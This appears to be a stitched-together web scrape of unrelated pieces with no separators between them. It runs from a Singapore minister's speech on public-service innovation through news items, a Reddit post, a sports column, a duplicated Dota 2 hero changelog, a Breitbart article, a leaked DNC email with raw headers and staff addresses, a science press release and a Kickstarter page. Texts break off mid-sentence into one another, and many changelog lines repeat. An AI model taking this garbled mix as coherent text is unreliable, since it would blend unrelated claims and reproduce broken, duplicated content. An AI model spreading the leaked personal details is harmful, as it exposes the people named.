59 When we have concerns that existing practices and processes are unable to address certain issues, then we need new practices and processes. And in the meantime, devise a sandbox, allow the experiment to happen.
60 Unless there are obvious and significant dis-amenities to society - we should let innovation happen.
Making Judgement Calls
61 As to what constitutes innovation, what solutions are optimal at the national level – there is no rule book on this. These are decisions involving discretion and judgement by senior decision makers.
62 The civil service is already doing this for municipal projects that have no clear owner, through the Rapid Response Mechanism. Under the Mechanism, there is a strict, time bound protocol that escalates decisions to the PS(MND).
63 It is a model we can follow in other areas where quick decision making is needed in order for us to progress innovatively.
Principle 3: Don’t Boil the Ocean
64 The third relevant principle is: Don’t try to boil the ocean.
65 Technology has empowered individuals to make changes and has democratised innovation – whether it is through a rules review, a better process, or a new service. But individuals may not have learned how to make use of these opportunities. Either we are afraid to try, or we are still waiting for a clear plan from start to finish before we do anything.
Start Somewhere
66 In innovation, there is no perfect comprehensive grand plan. If we over plan, we run the risk of paralysis by analysis. It is also not very helpful to ask for three or five years of KPIs even before we try.
67 In transformation and innovation, we just need to start somewhere, know roughly where we want to go, and learn along the way. It is a gradual evolution, not a big bang creation.
68 As a well-known dictum goes: Think big, start small, act fast. Let passion and belief, not bureaucratic reports and KPIs, drive the process.
ePayment
69 One area which I see immediate application of this principle is ePayment. The Smart Nation and Digital Government Office (SNDGO) and MAS have been working on this.
70 We need to increase the take-up of ePayments in Singapore. We should work towards a future where our phones really replace cash and cheques. We send money to each other like sending WhatsApp messages. We don’t draw money from the ATM, but transfer it from our bank accounts directly into the e-wallets in our phones. All done securely. It will be a more efficient and convenient economy.
71 The backbone for the ePayment system I just described is taking shape – it is called the FAST system. By the second half of this year, the banking industry will have enhanced it to make ePayment more accessible and convenient and move towards the vision that I just described.
72 The key challenge is to get people to register for the service. It means having Internet banking, then linking our accounts to our mobile phone numbers or NRIC.
73 It will not be a difficult registration process, but there is an initial inertia that needs to be overcome. To kick start this, one way is to encourage certain ministries and agencies to move decisively to this mode of ePayment.
74 I can foresee some possible reactions. Why not have all Government agencies come on board at once? Why not do this only when enough merchants have accepted such a payment mode? How about also digitising upstream processes in the supply chain? How about getting the hawker centres and char kway teow man to start first. There will be all sorts of requests.
75 We have to start somewhere. Perhaps with a few selected Ministries that handle a significant volume of transactions. Then the rest can follow.
My Role as Minister to Promote Public Service Innovation
76 In my capacity as the Minister to promote Public Service innovation, I will not try to boil the ocean, but focus on the few things I have mentioned.
77 First, working with MOF to raise capability in the Public Service in procurement. Second, work with SNDGO to promote ePayment. Third, facilitate the resolution of regulatory issues, especially those of an inter-agency nature that can hold back innovation.
78 So at the risk of asking for trouble, I invite all of you to raise relevant cases to me so I can take a look at it. There is no Public Service Innovation Office, no big multi-ministry committee - I will be supported by a small, part-time secretariat.
Principle 4: Preserve Trust Between Political Leadership and Civil Service
79 The last principle is to ensure that there is strong trust undergirding the working relationship between political leadership and the civil service. This is not a principle just for innovation. It speaks to good governance in general.
80 At an informal dinner, one of you asked me ‘What are the Fourth Generation Ministers’ expectations of civil servants?’
81 Three generations of political leaders have forged very strong working relations with the civil service. There is strong mutual trust and respect. A new generation of Ministers have entered Cabinet, including me, so the question is a very valid one.
82 I canvassed several of my colleagues. The short answer is that our expectations are no different from the earlier generation Ministers.
83 The basic direction of policies and the core of it all must come from political leaders, who have been vested with an electoral mandate to carry out their agenda during their term of office.
84 In line with this direction, the job of the Public Service is to provide clear-eyed analyses of options and effective implementation of policies. Civil servants have broad discretion over implementation and administration, which are crucial to the success of any policy. In fact, there is a saying in the service, that ‘implementation is policy.’
85 When we have agreement on both the direction and the means of implementation of policies, we are united in forging ahead and delivering results. It is through this process that we deepen trust and respect. For a country to do well, we need these two hands to clap. We cannot take for granted that this is the natural course of things – in many countries, it doesn’t work that way.
86 If I were to go a level deeper, what should guide the interactions and behaviour between political leaders and the civil service? Here is what we think:
87 First, brainstorm and challenge. At the stage of formulating policies and deriving solutions, by all means, research all past experiences, offer all suggestions, including radical ones; debate, help us derive the best solution.
88 Don’t try to second-guess the policy preferences of the Ministers. Look at issues, analyse the problems, explore options and express your recommendations and views honestly. We may or may not agree with you, but we want people to come to meetings, ready to contribute their ideas and be open to the views of others.
89 The same spirit applies to Ministers too. We must also be open to challenge, confront trade-offs squarely, and debate the merits of various solutions to today’s problems.
90 Second, civil servants must understand ground realities and constraints.
91 We all strive to design policies from first principles, and this often forms the basis for sound policies which we have succeeded in implementing in many areas.
92 For example, instead of subsidising essentials such as food and fuel – which many countries have do, regret and are trying to unwind – we price them right and provide means tested assistance to lower income families. In national defence, small countries like ours need compulsory conscription, which we implemented in 1967 and never looked back.
93 But first principles can also result in theoretical policies that can be impractical. For example, can we have a housing voucher system that replaces our HDB programme? Or a congestion control system that relies solely on ERP and we abolish COE and ARF? I know for a fact that such policy papers were actually written before.
94 These policies are theoretically more efficient but from a ground perspective, they are not implementable.
95 We have to operate in the real world, and not a policy incubator. This is called “theory of the second best” – where we often have to set aside theoretical ideals and work on a sound and practical understanding of how people are likely to react and respond to any policy change.
96 Third, make things happen. Within the directions given, civil servants must implement, outreach, listen out for feedback, and keep improving what we do. It means hitting the ground running, taking some calculated risks, overcoming obstacles, negotiating conflicting concerns across agencies, and finding a way forward.
97 This is how Jurong Island was built, how HDB took off, FTAs were signed, and how the Pioneer Generation Package was implemented and reached to the level of the households. Behind each successful project were enterprising civil servants who took risks and assumed responsibility, at every level. Our appraisal system must recognise these qualities.
98 As you carry out your tasks faithfully and to the best of your ability, political leaders of today, like before, must stand up to defend unfair criticisms of civil servants, because your professional ethos prevents you from having a political voice to defend yourself.
99 Finally, we must share the common aim of building a better life for all Singaporeans. This is regardless of whether we are political leaders, public service leaders, civil servants, or public officers in statutory boards.
100 We are all in public service, not for ourselves, but to serve our nation. The civil service has played an outstanding role in the development of Singapore over the past five decades. We have to continue to uphold and strengthen this institution.
Conclusion
101 In conclusion, it is sometimes said that the role of great ideas is to lead men out of deep difficulties. Tackling a complex issue with multiple considerations can feel like, as Wittgenstein put it, being a fly in a glass bottle. It is knocking against walls that cannot break, flying in a space which seems to reward activity, but is going nowhere.
102 Our collective mission, especially in an age of complexity and great contestation of ideas, is to distil common interests, and make the best case for the difficult, even unpopular and painful path up the neck of the bottle.
103 By working and applying the principles of innovation together, we may even recognise that the walls of glass are of our own making, and that not only can we see through them, we can maybe even find a way to break them or fly through them.
104 We are all on this journey together. Now, more than ever, Singapore has no path to follow and no models to copy. We will need constant, pervasive and endemic innovation, whose lifeblood is great ideas and an enterprising spirit.
105 Thank you for your attention and have a good evening.Conventional wisdom dictates that you don’t post about your crime sprees on Facebook. It should follow, then, that you definitely don’t post about them on the Facebook page of the police department that’s trying to bust you. But doing just that is what got what got Rolando Lozano caught for a series of auto burglaries he’s charged with committing along with his brother Damian.
The siblings were suspected of the break-ins of at least 17 vehicles in a Rosenberg, Tex., subdivision, KTRK-TV reported. Damian was easily apprehended, but Rolando stayed on the lam. So the cops posted his “wanted” mug on their Facebook page.
Perhap Lozano thought the fuzz doesn’t really check social media all that often and taunted them with this:
Well, the “muthasuckas” he was referring to actually were checking the page to see if anyone could offer clues leading to his capture. Tips led police to a relative’s home where he was hiding and before long Lozano was busted. The Rozenberg P.D.’s response?
BURN.Received a very thoughtful gift from a secret fellow Redditor. He/She/ saw that I had 2 little girls and that I was a science buff, and sent me a great book from Amazon called, "The Everything Kids' Science Experiments Book."
A very cool gift that I'm sure I would upvote whether I had kids or not.
Many humble thanks to my SS. Cheers my friend.
[EDIT] My SS is the gift that keeps on giving. He/She mentioned that there was a part of my gift on backorder -- and low & freakin' behold... another package arrived. It's a graphic novel that I've been jonesing to read for years: The Complete Bite Club!! (http://www.amazon.com/Complete-Bite-Club-Howard-Chaykin/dp/1401212727/ref=sr_1_1?ie=UTF8&qid=1326287176&sr=8-1)
This item had been languishing on my Want List at Swap.com forever -- and my SS hooked me up. Again. Huzzah and Cheers to you!! Again... a thousand thanks for your thoughtfulness. Have a wonderful 2012.The New England Patriots have no business talking about the Baltimore Ravens. The Ravens are not even on their schedule. Yet a team that is known for saying little, they feel the need to open their mouths these days, most recently about the Ravens.
There have been accusations floating around that the Ravens tipped off the Indianapolis Colts about deflate gate even though there is no proof that the Ravens did such a thing. Head coach John Harbaugh has been pretty adamant about the fact that the Ravens never tipped off anyone.
Patriots President Jonathan Kraft feels the need to speak about the Ravens start to the 2015 season via 98.5 The Sports Hub.
"It's really too bad about Baltimore," Kraft said to host Marc Bertrand while laughing. Funny thing is, the season isn't over yet. If the Ravens were to go on a roll and meet the Patriots in the playoffs and beat them for the 3rd time in the postseason in the last six seasons, Kraft wouldn't be laughing too much.
Bertrand on the other hand then said that he wasn't surprised by the Ravens slow start because of karma.
Really karma?
Did karma occur when the Patriots were caught with spy gate in 2007 and lost in one of the most horrible ways in the Super Bowl going 18-1? By Bertrand's logic, it |
15/26/37/48% damage
Feral Impulse bonus damage rescaled from 15/20/25/30% to 15/26/37/48% damage Feral Impulse now provides 1/4/7/10 HP regeneration
Feral Impulse now provides 1/4/7/10 HP regeneration Summoned Wolves Base Attack Time reduced from 1.25/1.2/1.15/1.1 to 1.2/1.1/1/0.9
Summoned Wolves Base Attack Time reduced from 1.25/1.2/1.15/1.1 to 1.2/1.1/1/0.9 Summoned Wolves no longer gain 15 HP regen at level 4
Summoned Wolves no longer gain 15 HP regen at level 4 Summoned Wolves now gain invisibility at level 4
Summoned Wolves now gain invisibility at level 4 Summoned Wolves now gain cripple at level 3
Summoned Wolves now gain cripple at level 3 Cripple attack speed slow increased from 40 to 60
Cripple attack speed slow increased from 40 to 60 Added Talent Tree 6.86 Lycan Wolves and Shapeshift no longer grant critical strike
Lycan Wolves and Shapeshift no longer grant critical strike Lycan Wolves now gain Cripple at level 2, granting a 20% chance to cripple the target Causes target to take 8 damage per second and lose 40 Attack Speed for 4 seconds
Lycan Wolves now gain Cripple at level 2, granting a 20% chance to cripple the target Shapeshift now grants all units under your control a 40% chance for 1.4/1.6/1.8× critical strike 6.85 Strength gain increased from 2.75 to 3
Strength gain increased from 2.75 to 3 Shapeshift critical strike chance increased from 30% to 30/35/40% 6.82 Shapeshift no longer grants 1.5 Base Attack Time
Shapeshift no longer grants 1.5 Base Attack Time Shapeshift cooldown increased from 100/70/40 to 120/90/60
Shapeshift cooldown increased from 100/70/40 to 120/90/60 Shapeshift speed increased from 522 to 650
Shapeshift speed increased from 522 to 650 Shapeshift now has a 1.5 second transformation time 6.81b Howl duration decreased from 12 to 10
Howl duration decreased from 12 to 10 Howl bonus damage reduced from 20/30/40/50 to 14/26/38/50 6.81 Shapeshift no longer provides 100/200/300 bonus health 6.80 Wolves Fade Time decreased from 3 to 1.7
Wolves Fade Time decreased from 3 to 1.7 Level 3 Lycan Wolves now have Invisibility
Level 3 Lycan Wolves now have Invisibility Level 4 Lycan Wolves now have a passive ability that gives them 15 HP regen 6.79 Armor increased by 1 (Shapeshift total armor is still the same as before)
Armor increased by 1 (Shapeshift total armor is still the same as before) Base damage increased by 5
Base damage increased by 5 Howl bonus damage for non-hero units increased from 4/8/12/16 to 5/10/15/20
Howl bonus damage for non-hero units increased from 4/8/12/16 to 5/10/15/20 Wolves magic resistance increased from 50% to 80% 6.78 Armor increased by 1 (Shapeshift total armor is still the same as before) 6.77 Base intelligence increased from 15 to 17
Base intelligence increased from 15 to 17 Spirit Wolves armor increased by 1 6.75 Summon Wolves mana cost increased from 125 to 145
Summon Wolves mana cost increased from 125 to 145 Spirit Wolves HP decreased from 400/450/500/550 to 200/240/280/320
Spirit Wolves HP decreased from 400/450/500/550 to 200/240/280/320 Spirit Wolves now have 50% magic resistance
Spirit Wolves now have 50% magic resistance Fixed Shapeshift speed buff remaining after dying with Aegis 6.72d Wolves HP reduced from 400/475/550/625 to 400/450/500/550
Wolves HP reduced from 400/475/550/625 to 400/450/500/550 Shapeshift base attack rate changed from 1.4 to 1.5
Shapeshift base attack rate changed from 1.4 to 1.5 Feral Impulse AoE reduced from global to 900 6.72 Wolves collision size reduced a bit
Wolves collision size reduced a bit Wolves move speed increased from 400 to 400/420/440/460 6.71 Feral Impulse damage and attack speed bonus increased from 10/15/20/25% to 15/20/25/30% 6.70 Shapeshift form critical strike improved from 1.5× to 1.7×
Shapeshift form critical strike improved from 1.5× to 1.7× Wolves critical strike improved from 1.5× to 1.7× 6.69 Shapeshift duration increased from 14/15/16 to a constant 18 seconds 6.67 Howl hero bonus damage from 11/22/33/44 to 20/30/40/50 (Unit bonus damage scaling remains 4/8/12/16)
Howl hero bonus damage from 11/22/33/44 to 20/30/40/50 Howl duration from 16 to 12
Howl duration from 16 to 12 Howl cooldown from 35 to 50/45/40/35 6.57 Lowered Lycan Wolves hit points
Lowered Lycan Wolves hit points Lowered base armor on Lycan and his wolves by 2 6.54 Lowered base armor on Lycan's Wolves from 5 to 2 6.53 Reworked Lycanthrope a bit
Reworked Lycanthrope a bit Increased Howl duration 6.51 Increased duration of Lycanthrope wolves a bit and allowed them to attack air 6.50 Reduced cooldown on high level Shapeshift 6.48b Slightly reduced Shapeshift cooldown
Slightly reduced Shapeshift cooldown Increased Lycanthropy Wolves base armor
Notable Players [ edit ]
See also [ edit ]
Guides [ edit ]
References [ edit ]Donald Trump has lost the Harvard Republican Club.
In a statement published to the group’s Facebook page Thursday, the club’s student leaders declare: “Donald Trump holds views that are antithetical to our values not only as Republicans, but as Americans.”
The post notes that the club will not be endorsing the Republican nominee for the first time in 128 years.
They go on to argue:
The rhetoric he espouses –from racist slander to misogynistic taunts– is not consistent with our conservative principles, and his repeated mocking of the disabled and belittling of the sacrifices made by prisoners of war, Gold Star families, and Purple Heart recipients is not only bad politics, but absurdly cruel. If enacted, Donald Trump’s platform would endanger our security both at home and abroad. Domestically, his protectionist trade policies and draconian immigration restrictions would enlarge our federal deficit, raise prices for consumers, and throw our economy back into recession. Trump’s global outlook, steeped in isolationism, is considerably out-of-step with the traditional Republican stance as well.
The Harvard Republicans also accuse Trump of “Calling for the US’ withdrawal from NATO and actively endorsing nuclear proliferation,” although Trump has not actually made those proposals.
The post continues:
Perhaps most importantly, however, Donald Trump simply does not possess the temperament and character necessary to lead the United States through an increasingly perilous world. He hopes to divide us by race, by class, and by religion, instilling enough fear and anxiety to propel himself to the White House. He is looking to to pit neighbor against neighbor, friend against friend, American against American. We will not stand for this vitriolic rhetoric that is poisoning our country and our children.
It is not clear how many children the members of the Harvard Republican Club, who are all undergraduates, are raising.
One term that does not appear anywhere in the post: “Hillary Clinton.” And another: “Democrats.”
Read the full post on Facebook.
Joel B. Pollak is Senior Editor-at-Large at Breitbart News. His new book, See No Evil: 19 Hard Truths the Left Can’t Handle, is available from Regnery through Amazon. Follow him on Twitter at @joelpollak.Download raw source
Received: from DNCDAG1.dnc.org ([fe80::f85f:3b98:e405:6ebe]) by DNCHUBCAS1.dnc.org ([fe80::ac16:e03c:a689:8203%11]) with mapi id 14.03.0224.002; Wed, 18 May 2016 09:33:26 -0400 From: "Domino, Cate" <DominoC@dnc.org> To: "Domino, Cate" <DominoC@dnc.org>, ContentApprovals_D <ContentApprovals_D@dnc.org> CC: "Simonds, Tessa" <SimondsT@dnc.org> Subject: Re: Approval: Craigslist Trump ad copy Thread-Topic: Approval: Craigslist Trump ad copy Thread-Index: AQHRsHNW5cFncC59PUiQd/5NpM9A7J++ssyA Date: Wed, 18 May 2016 06:33:25 -0700 Message-ID: <D361E705.80127%dominoc@dnc.org> References: <D360EAC0.80042%dominoc@dnc.org> In-Reply-To: <D360EAC0.80042%dominoc@dnc.org> Accept-Language: en-US Content-Language: en-US X-MS-Exchange-Organization-AuthAs: Internal X-MS-Exchange-Organization-AuthMechanism: 04 X-MS-Exchange-Organization-AuthSource: DNCHUBCAS1.dnc.org X-MS-Has-Attach: X-Auto-Response-Suppress: DR, OOF, AutoReply X-MS-Exchange-Organization-SCL: -1 X-MS-TNEF-Correlator: Content-Type: multipart/alternative; boundary="_000_D361E70580127dominocdncorg_" MIME-Version: 1.0 --_000_D361E70580127dominocdncorg_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Added two things (highlighted) suggested by the Trump team. Jeremy + Christ= ina, can you let me know what you think ASAP? From: dominoc <dominoc@dnc.org<mailto:dominoc@dnc.org>> Date: Tuesday, May 17, 2016 at 3:35 PM To: ContentApprovals_D <ContentApprovals_D@dnc.org<mailto:ContentApprovals_= D@dnc.org>> Cc: "Simonds, Tessa" <SimondsT@dnc.org<mailto:SimondsT@dnc.org>> Subject: Approval: Craigslist Trump ad copy This is the Craigslist ad copy =96 I=92m going to flag for Jackie before we= post. --- Multiple Positions (NYC area) Seeking staff members for multiple positions in a large, New York-based cor= poration known for its real estate investments, fake universities, steaks, = and wine. The boss has very strict standards for female employees, ranging = from the women who take lunch orders (must be hot) to the women who oversee= multi-million dollar construction projects (must maintain hotness demonstr= ated at time of hiring). Title: Honey Bunches (that=92s what the boss will call you) Job requirements: * No gaining weight on the job (we=92ll take some =93before=94 pictures= when you start to use later as evidence) * Must be open to public humiliation and open-press workouts if you do = gain weight on the job * A willingness to evaluate other women=92s hotness for the boss=92 sat= isfaction is a plus * Should be proficient in lying about age if the boss thinks you=92re t= oo old Working mothers not preferred (the boss finds pumping breast milk disgustin= g, and worries they=92re too focused on their children). About us: We=92re proud to maintain a =93fun=94 and =93friendly work environment, whe= re the boss is always available to meet with his employees. Like it or not,= he may greet you with a kiss on the lips or grope you under the meeting ta= ble. Interested applicants should send resume, cover letter, and headshot to job= s@trump.com<mailto:jobs@trump.com> --_000_D361E70580127dominocdncorg_ Content-Type: text/html; charset="Windows-1252" Content-ID: <80EE0EC13143034FB7633E809CAA8C5E@dnc.org> Content-Transfer-Encoding: quoted-printable <html> <head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3DWindows-1= 252"> </head> <body style=3D"word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-lin= e-break: after-white-space; color: rgb(0, 0, 0); font-size: 14px; font-fami= ly: Calibri, sans-serif;"> <div>Added two things (highlighted) suggested by the Trump team. Jeremy = 3; Christina, can you let me know what you think ASAP?</div> <div><br> </div> <span id=3D"OLK_SRC_BODY_SECTION"> <div style=3D"font-family:Calibri; font-size:11pt; text-align:left; color:b= lack; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; PADDING-BOTTOM:= 0in; PADDING-LEFT: 0in; PADDING-RIGHT: 0in; BORDER-TOP: #b5c4df 1pt solid;= BORDER-RIGHT: medium none; PADDING-TOP: 3pt"> <span style=3D"font-weight:bold">From: </span>dominoc <<a href=3D"mailto= :dominoc@dnc.org">dominoc@dnc.org</a>><br> <span style=3D"font-weight:bold">Date: </span>Tuesday, May 17, 2016 at 3:35= PM<br> <span style=3D"font-weight:bold">To: </span>ContentApprovals_D <<a href= =3D"mailto:ContentApprovals_D@dnc.org">ContentApprovals_D@dnc.org</a>><b= r> <span style=3D"font-weight:bold">Cc: </span>"Simonds, Tessa" <= <a href=3D"mailto:SimondsT@dnc.org">SimondsT@dnc.org</a>><br> <span style=3D"font-weight:bold">Subject: </span>Approval: Craigslist Trump= ad copy<br> </div> <div><br> </div> <div> <div style=3D"word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line= -break: after-white-space; color: rgb(0, 0, 0); font-size: 14px; font-famil= y: Calibri, sans-serif;"> <div>This is the Craigslist ad copy =96 I=92m going to flag for Jackie befo= re we post.</div> <span id=3D"OLK_SRC_BODY_SECTION"> <div style=3D"word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line= -break: after-white-space; color: rgb(0, 0, 0); font-size: 14px; font-famil= y: Calibri, sans-serif;"> <div><br> </div> <div>---</div> <div><br> </div> <div>Multiple Positions (NYC area)</div> <div><br> </div> <div>Seeking staff members for multiple positions in a large, New York-base= d corporation known for its real estate investments, fake universities, ste= aks, and wine. The boss has very strict standards for female employees, ran= ging from the women who take lunch orders (must be hot) to the women who oversee multi-million dollar constru= ction projects (must maintain hotness demonstrated at time of hiring). = ;</div> <div><br> </div> </div> </span></div> </div> </span> <div><span style=3D"background-color: rgb(255, 255, 0);">Title: Honey Bunch= es (that=92s what the boss will call you)</span></div> <div><br> </div> <span id=3D"OLK_SRC_BODY_SECTION"> <div> <div style=3D"word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line= -break: after-white-space; color: rgb(0, 0, 0); font-size: 14px; font-famil= y: Calibri, sans-serif;"> <span id=3D"OLK_SRC_BODY_SECTION"> <div style=3D"word-wrap: break-word; -webkit-nbsp-mode: space; -webkit-line= -break: after-white-space; color: rgb(0, 0, 0); font-size: 14px; font-famil= y: Calibri, sans-serif;"> <div>Job requirements:</div> <ul> <li>No gaining weight on the job <span style=3D"background-color: rgb(255, = 255, 0);"> (we=92ll take some =93before=94 pictures when you start to use later as evi= dence)</span></li><li>Must be open to public humiliation and open-press wor= kouts if you do gain weight on the job</li><li>A willingness to evaluate ot= her women=92s hotness for the boss=92 satisfaction is a plus</li><li>Should= be proficient in lying about age if the boss thinks you=92re too old</li><= /ul> <div>Working mothers not preferred (the boss finds pumping breast milk disg= usting, and worries they=92re too focused on their children).</div> <div><br> </div> <div>About us:</div> <div> <div><br> </div> <div>We=92re proud to maintain a =93fun=94 and =93friendly work environment=, where the boss is always available to meet with his employees. Like it or= not, he may greet you with a kiss on the lips or grope you under the meeti= ng table.</div> </div> <div><br> </div> <div><br> </div> <div>Interested applicants should send resume, cover letter, and headshot t= o <a href=3D"mailto:jobs@trump.com"> jobs@trump.com</a> </div> </div> </span></div> </div> </span> </body> </html> --_000_D361E70580127dominocdncorg_--Research has found that small-group dynamics -- such as jury deliberations, collective bargaining sessions, and cocktail parties -- can alter the expression of IQ in some susceptible people.
In the classic film "12 Angry Men," Henry Fonda's character sways a jury with his quiet, persistent intelligence. But would he have succeeded if he had allowed himself to fall sway to the social dynamics of that jury?
Research led by scientists at the Virginia Tech Carilion Research Institute found that small-group dynamics -- such as jury deliberations, collective bargaining sessions, and cocktail parties -- can alter the expression of IQ in some susceptible people. "You may joke about how committee meetings make you feel brain dead, but our findings suggest that they may make you act brain dead as well," said Read Montague, director of the Human Neuroimaging Laboratory and Computational Psychiatry Unit at the Virginia Tech Carilion Research Institute, who led the study.
The scientists used functional magnetic resonance imaging (fMRI) to investigate how the brain processes information about social status in small groups and how perceptions of that status affect expressions of cognitive capacity.
"We started with individuals who were matched for their IQ," said Montague. "Yet when we placed them in small groups, ranked their performance on cognitive tasks against their peers, and broadcast those rankings to them, we saw dramatic drops in the ability of some study subjects to solve problems. The social feedback had a significant effect."
"Our study highlights the unexpected and dramatic consequences even subtle social signals in group settings may have on individual cognitive functioning," said lead author Kenneth Kishida, a research scientist with the Virginia Tech Carilion Research Institute. "And, through neuroimaging, we were able to document the very strong neural responses that those social cues can elicit."
The researchers recruited subjects from two universities and administered a standard test to establish baseline IQ. The results were not viewed until after a series of ranked group IQ tasks, during which test takers, in groups of five, received information about how their performances compared to those of the other group members.
Although the test subjects had similar baseline IQ scores -- a mean of 126, compared to the national average of 100 -- they showed a range of test performance results after the ranked group IQ tasks, revealing that some individuals' expressed IQ was affected by signals about their status within a small group.
The researchers wanted to know what was happening in the brain during the observed changes in IQ expression. The subjects were divided into two groups based on the results of their final rank -- the high performers, who scored above the median, and the low performers, who scored at or below the median. Two of every group of five subjects had their brains scanned using fMRI while they participated in the task.
Among the researchers' findings:
1. Dynamic responses occurred in multiple brain regions, especially the amygdala, the prefrontal cortex, and the nucleus accumbens -- regions believed to be involved in emotional processing, problem solving, and reward and pleasure, respectively.
2. All subjects had an initial increase in amygdala activation and diminished activity in the prefrontal cortex, both of which corresponded with a lower problem-solving ability.
3. By the end of the task, the high-performing group showed a decreased amygdala activation and an increased prefrontal cortex activation, both of which were associated with an increased ability to solve more difficult problems.
4. Positive changes in rank were associated with greater activity in the bilateral nucleus accumbens, which has traditionally been linked to learning and has been shown to respond to rewards and pleasure.
5. Negative changes in rank corresponded with greater activity in the dorsal anterior cingulate cortex, consistent with a response to conflicting information.
6. Neither age nor ethnicity showed a significant correlation with performance or brain responses. A significant pattern did emerge along gender lines, however. Although male and female participants had the same baseline IQ, significantly fewer women (3 of 13) were in the high-performing group and significantly more (10 of 13) fell into the low-performing group.
"We don't know how much these effects are present in real-world settings," Kishida said. "But given the potentially harmful effects of social-status assignments and the correlation with specific neural signals, future research should be devoted to what, exactly, society is selecting for in competitive learning and workplace environments. By placing an emphasis on competition, for example, are we missing a large segment of the talent pool? Further brain imaging research may also offer avenues for developing strategies for people who are susceptible to these kinds of social pressures."
"This study tells us the idea that IQ is something we can reliably measure in isolation without considering how it interacts with social context is essentially flawed," said coauthor Steven Quartz, a professor of philosophy in the Social Cognitive Neuroscience Laboratory of Caltech. "Furthermore, this suggests that the idea of a division between social and cognitive processing in the brain is really pretty artificial. The two deeply interact with each other."
"So much of our society is organized around small-group interactions," said Kishida. "Understanding how our brains respond to dynamic social interactions is an important area of future research. We need to remember that social dynamics affect not just educational and workplace environments, but also national and international policy-making bodies, such as the U.S. Congress and the United Nations."
The research appears in the Jan. 23, 2012 issue of the journal Philosophical Transactions of the Royal Society B in the article, "Implicit signals in small group settings and their impact on the expression of cognitive capacity and associated brain responses," by Kenneth Kishida; Dongni Yang, a former postdoctoral researcher in the Department of Neuroscience at Baylor College of Medicine; Karen Hunter Quartz, a director of research in the Graduate School of Education and Information Studies of the University of California, Los Angeles; Steven Quartz; and Read Montague, corresponding author, who is also a professor of physics at Virginia Tech. The research was supported by grants from the Wellcome Trust and the Kane Family Foundation to Montague and the National Institutes of Health to Montague and Kishida.Granny Grating Armies is the first in a series of affordable gaming rule-books from miniature commission painter and gaming enthusiast Arthur Hannan presented by the small entrepreneurial business EZPainter.
EZPainter has long been a passion job, but now i wish to branch into my true passion writing simple wargames for everyone to enjoy. After The Kickstarter the rules will be available from this link - LINK
And hopefully wargames vault!
Granny Grating Armies is a wargames rule-set inspired by the game play of tactical PC strategy games and aims to emulate them and their mechanics on the tabletop using any miniatures you like.
The game incorporates instructions on how to build your own armies on a budget. Using unique and multi purpose plastic grating you can create any of your favorite ancient armies in hours and get playing faster than any system currently existing.
The pristine prototype of the awesome soft back.
The main rule-book has all the rules you need to get gaming.
All you need to do is grab a sheet of Granny Grating and get crafting. Basic Army lists for the Romans, Egyptians, Spartans and Celts are all listed in the book as well as an extensive basic commands block and all the counters you need to play.
GGA aims to offer you a distinct "flavor" of ancient warfare without being fussy about 100% historical accuracy.
Game play is strategy and tactics based. Granny Grating Armies aims to bring an element of realism into war-games with an unforgiving energy system and a unique reaction system. Both are desinged to emulate the effectiveness and and endurance of a "real warrior".
A unit of pinned (under flame ammo fire) Roman cavalry fights a "shielding" unit of Celtic woad warriors.
Although the game aims to be realistic it strikes a special balance between the abstract and realism with beautiful tiny "make-it-yourself" peg miniatures that can be crafted in no time at all. For this we use Canvas Mesh (Or Granny Grating) and the correct size, quality and durability has been taken into account when picking the perfect supplier for the add-ons. As you can see the use of nut shells and leftover board game tokens was a big part of the budget side in the play-test period.
Just as in real life, the only way to re-gain your energy is to execute a "hold" action. A great example of the tactical side of the game.
Because of this obvious nod to the abstract the game boasts a "flavor" of the ancient world instead of 100% historical accuracy, in favor of a more dynamic and enjoyable experience. In this way it can be a very unique way to introduce people to our history, and the battles that shaped us!
If you put a little time in, you can create epic armies with the GGA process.
Despite introducing these home made armies to the gaming community, the game can be played with any of your existing collections more than easily.
Below is a brief example of one turn in a small battle. Here you can see how the ruthless Celts charge in with full might, the comically named "head throwers" along with them. The Romans hold a strong front line and consequently push back and break the Celts! Although this is not a long example, it demonstrates well that the game can turn on the roll of a D6 in many instances and that "real" warfare was neither fair or straight forward.
The book is a sexy, sturdy and "game-play surface ready" card with beautiful pages inside made of durable paper.
We have a local/ small business and friendly (family friend in fact!) Printer who is going to get them done as fast as is physically possible so you can get yours asap after you pledge!
Check out my 100% honest un-boxing below of the preview copy!
Two unpainted "Granny grating" armies.
The game book includes instructions on how to build and create your own armies, with a sheet of plastic grating you can be gaming faster than ever before and you own 100% of your force, something that no other company in the world or gamer can boast but you! The force in the image below was created quickly in two hours, but some fans are already laboring over larger forces.
A regular 55Pt Roman Army (starter army) built and painted in just two hours.
However you do not need to use the "Granny Grating" armies (canvas mesh) you are welcome to use any existing collection as long as you use the rules provided in the book, it will work!
Taking GGA to conventions has been a key part of the play-testing period
At this point i have a game, a method and a passion but what i do not have is funds for printing, packaging and delivery of this product.
In this sense the Kickstarter campaign is simply a broad launching platform for the game and then i will sell the rest of my produced copies on the website here - LINK
I want to offer the best product i can to the gaming public and to me that means offering reliable and sleek paperback copies of the game.
Following the first run of the Kick-starter campaign i now know that i ought to make more PDF's available, however i will still be running 100 copies of the book for those who want one. Many prefer a physical book and that's cool with me!
As an honest oversight the delivery for pledge levels 14 and 17 where accidentally left out. If people could please add £3 for uk and £5 for worldwide postage on those pledge levels. £1 :Thankyou! Your support for GGA will help to make budget wargaming a thing. Because of your donation we will be one step closer to finally being able to play games we want, on a budget that suits!
Estimated delivery: May 2016
£3: EARLY BIRD: One copy of the PDF asap at the end of the campaign.
£7 at retail
- May take add ons
Estimated delivery: May 2016
EARLY BIRD: One copy of the PDF asap at the end of the campaign. £7 at retail - May take add ons Estimated delivery: May 2016 £5: One copy of the PDF asap at the end of the campaign.
£7 at retail
- May take add-ons.
Estimated delivery: May 2016
One copy of the PDF asap at the end of the campaign. £7 at retail - May take add-ons. Estimated delivery: May 2016 £6: One copy of the PDF asap at the end of the campaign. Your name will also be listed in the PDF as a supporter. + All stretch goals Over £14 at retail.
- May take add-ons.
Estimated delivery: May 2016
